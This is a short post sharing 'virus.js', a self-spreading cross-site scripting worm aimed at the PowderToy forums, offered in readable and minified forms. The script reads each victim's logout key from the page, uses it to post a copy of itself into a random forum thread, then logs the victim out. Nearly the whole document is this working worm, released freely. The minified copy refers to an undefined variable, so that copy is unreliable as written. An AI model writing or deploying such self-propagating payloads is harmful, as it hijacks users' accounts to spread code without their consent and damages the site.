Self-spreading virus for the PowderToy forums (while the exploit wasn't fixed yet)

virus.js

// Public Domain, whatever

(function kek(){$.getJSON("http://powdertoy.co.uk/Discussions/Categories/Index.json", function(data) {
	var thread = data.Topics[Math.floor(Math.random() * data.Topics.length)].ID;
	var code = kek.toString();
	var key = $(".main-menu .dropdown a[href^=\"/Logout.html\"]").attr("href");
	if (key) {
		key = key.substring(key.length - 10);
		var link = "http://powdertoy.co.uk/Discussions/Thread/Reply.json?Mode=HTML&Key=" + key;
		var data = {
			"Post_Message": "<![CDATA[\n<script>(" + code + ")()</script>\n]]>",
			"Thread": thread,
			"Post_Post": "posting"
		};
		$.post(link, data, function(data){
			window.location = $('.dropdown a[href^="/Logout.html"]').attr("href");
		});
	}
})})();

<![CDATA[
(function kek(){$.getJSON("http://powdertoy.co.uk/Discussions/Categories/Index.json",function(e){
var a=e.Topics[Math.floor(Math.random()*e.Topics.length)].ID;var d=kek.toString();
var b=$('.main-menu .dropdown a[href^="/Logout.html"]').attr("href");
if(b){b=b.substring(b.length-10);var c="http://powdertoy.co.uk/Discussions/Thread/Reply.json?Mode=HTML&Key="+b;
var e={Post_Message:"<![CDATA[\n<script>("+d+")()</script>\n]]>",Thread:a,Post_Post:"posting"};
$.post(link,e,function(f){window.location=$('.dropdown a[href^="/Logout.html"]').attr("href")})}})})();
]]>